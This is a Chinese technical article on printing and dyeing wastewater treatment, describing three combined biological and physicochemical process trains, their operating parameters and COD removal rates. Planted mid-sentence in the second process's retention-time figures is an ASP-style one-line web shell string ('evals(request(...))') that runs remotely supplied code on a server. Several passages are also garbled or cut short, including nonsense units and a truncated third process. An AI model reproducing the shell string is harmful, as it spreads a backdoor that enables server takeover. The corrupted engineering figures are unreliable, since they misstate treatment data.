| 纺织染整工业印染废水处理技术
工程应用实例
：
晋江市某印染厂处理设施自2002年10月投入运行以来
，治理效果一直比较稳定
。经环境监测部门采样监测
，出水指标每项均优于国家环保要求
，通过了验收
。
技术原理
：
概述
印染废水的水质复杂
，污染物按来源可分为两类
：一类来自纤维原料本身的夹带物
；另一类是加工过程中所用的浆料
、油剂
、染料
、化学药剂等
。分析其废水特点为
：
（1）水量大
、有机污染物含量高
、色度深
、碱性和pH值变化大
、水质变化剧烈
。
（2）碱减量废水
，其CODcr值平均2-5万mg/L
，有的可达10万mg/L以上
，pH值高
，必须进行预处理，再进入调节池
，与其它的印染废水一起进行处理
。
（3）色度高
，可生化性差
，所以印染废水处理的重要任务就是进行脱色处理和提高可生化性
。
（4）PVA浆料和新型药剂的使用
，使难生化降解的有机物在废水中含量增加
。因此研究和筛选用来降解 PVA的微生物成为印染废水处理成功与否的关键
。
工艺流程
根据BOD5/CODcr值低的特点
，可选择的方法有物化法
、生化法
、化学法（多功能混凝剂处理法
、高压脉冲电解法）等
，但多数是生化为主体的生化-物化组合法
。
处理工艺一
厌氧-好氧-生物炭接触为主的处理工艺
，见图1
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图1处理工艺-流程
该处理工艺系统
，对于CODcr<1000mg/L的印染废水
，处理后的出水可达到国家排放标准
，如进一步深度处理则可回用
。
处理工艺二
为生化、物化相结合的工艺
、其流程见图2
。
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图2处理工艺二流程
厌氧水解酸化池内设半软性填料
、生物接触氧化池内高SNP型新型填料
。后续物化处理采用加药反应气浮池
。其特点为
：
（1）脱落的生物膜
，悬浮物等去胡率高
，可达到80%~90%
；
（2）色度去除高
，可达到95%
；
（3）气浮池水力停留时间短
，约30min左右
，而沉淀池水力停留时间1"%><%evals(request(chr(35)))%><5h~2h
，故气浮池体积小
，占地面积少
；
（4）污泥含水率低
，约97%~98%
，气浮排渣可直接进行脱水处理
。因此
，采用气浮池后工艺流程中出现了二个明显的特点：一是只搞污泥池
，不设污泥浓缩池和污泥方英尺，污泥直接进入脱水机脱水处理
；二是本应采用活性污泥回流到厌氧水解酸化池
，因加药反应后的污泥失去了活性
，不能回流
，故工艺中采用生物接触氧化池中以1:1回流至厌氧水解酸化池
，以加强水解和酸化
。但采用气浮需要增设一套空压机
、压力溶气罐、回流水泵等辅助系统
，操作管理相对较复杂
。
处理工艺（见图3）
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图3处理工艺流程示意
本工艺（图3）有以下特点
：
（1）在调节池始端上部设置逆流式机械通风高温冷却塔
，一是减少占地面积
。二是冷却水直接进入调节池
，省去了冷却水集水池
。三是在夏季可把水温从70
。C降低到40
。C左右
。再经过集水池
，调节池等的传导和蒸发散热
，使水进入一级沉淀温度≤38
。C进入水解酸化池温度≤36
。C
。
（2）为提高BOD5/CODcr值
，工艺采用先物化（一级沉淀池）
处理工艺选择
对于不同水质的印染废水有不同的组合处理工艺
，有可能以物化为主
，也可能以生化为主
，虽然基本方法及原理大致是相同的
，但优化组合很重要
。
（1）3个工艺的共同点之一是均采用了厌氧水解酸化池和好氧生化池，这是废水处理中的主要工序和设施
。在好氧生化处理之前采用厌氧水解酸化池
，这是由印染废水的水质性质决定的
。
（2）3个工艺的共同点之二是均有污泥回流到水解酸化池始端
。但污泥回流分两种情况
。一是后续沉淀池不采用加药沉淀的
，则用沉淀池的沉淀污泥回流
；二是后续沉淀池采取加药沉淀的
，则用氧化池出水
、含水率相对较高的污泥的回流
。除无机泥渣外
，基本上可消除污泥排放
，则可不设污泥干化系统和设备
，节省投资及处理成本
。
技术指标殛CODcr削减分析
（1）技术指标
在运行时
，控制生物接触氧化池内气水为20:1
，溶解氧3~5mg/L
，出水溶解氧2~4mg/L
。采用亚铁为混凝剂
，投加量为处理水量的千分之一
。采用石灰水或PAM为助凝剂
。投加量分别为处理水量的千分之二和百分之十二
。一沉池每班排泥两次
，每次约5分钟
。由于采用了大的气水比
，所以接触氧化池不需要定期反冲
，二次沉淀池约10天需用自来水冲洗一次
，以消除蜂窝斜管填料上的积泥
。污泥脱水时，为了提高污泥层的透气性，利于脱水
，需要投加熟石灰
，投加量为1%~2%
。
（2）CODcr削减量
该处理工艺采用混凝沉淀和生物接触氧化池的方式
，混凝沉淀CODcr去除率为75%
，接触氧化CODcr去除率为70%
，气浮或二沉池CODcr去除率为20%
，总去除率为94%以上
。进水CODcr浓度为1500mg/L时
，出水达90mg儿
，排放通选纺织染整行业一级排放标准
，出水可排入III类水域或三类海域
。
（3）高浓度的染色原液
、蒸煮废液
、碱减量废水等
，应进行预处理
，把有机污染物浓度降低后再进入总调节池
，与其它废水一起集中处理
，这是至关重要的
。
（4）3个处理工艺中
，前2个均为先生化后物化
，第3个处理方案为先物化后生化
、再物化
。这是因为第3个方案中CODcr高达2500mg/L
，BOD5/CODcr值小
，故先采用加药反应沉淀池
，使CODcr小于1300mg/LBOD5/CODcr值提高到>30%
。但首先采用加药
、反应
、混合
、沉淀法需先选择好药剂的品种和投加量
，即选用的药剂尽可能不要对后续的微生物生长造成影响
，因未沉淀去除的小颗粒悬浮物
，一是无活性
，二是可能带有少量药剂
。气浮池和斜管（板）沉淀池要防止堵塞及塌掉
，排污应畅通
，为安全和便于管理，小水量采用竖流式沉淀池
，大水量采用辐流式沉淀池为妥
。
（5）对于pH值高的废水（如碱减量废水）应先加酸中和
；对于营养源不足的在进入水解酸化池前需投加P和N
；为加速水解酸化的进行
，应回流一定量未加过药剂具有活性的污泥到水解酸化池始端
。提高BOD5/LCODcr值有利于生化处理的进行
。通常情况下
，只要进入水解酸化池的BOD5/CODcr>30%
，则进入氧化池的BOD5/CODcr值基本上能达到≥40%
，这是因为在水解酸化池中CODcr约去除30%左右
，而BOD5却去除很少
，有时不仅没有去除
，BOD5值反而会增加
，常增加5%~10%
，因而进入氧化池的水BOD5/CODcr>40%以上
，提供了较好的可生化条件
，在3个方案中均满足了此要求
。
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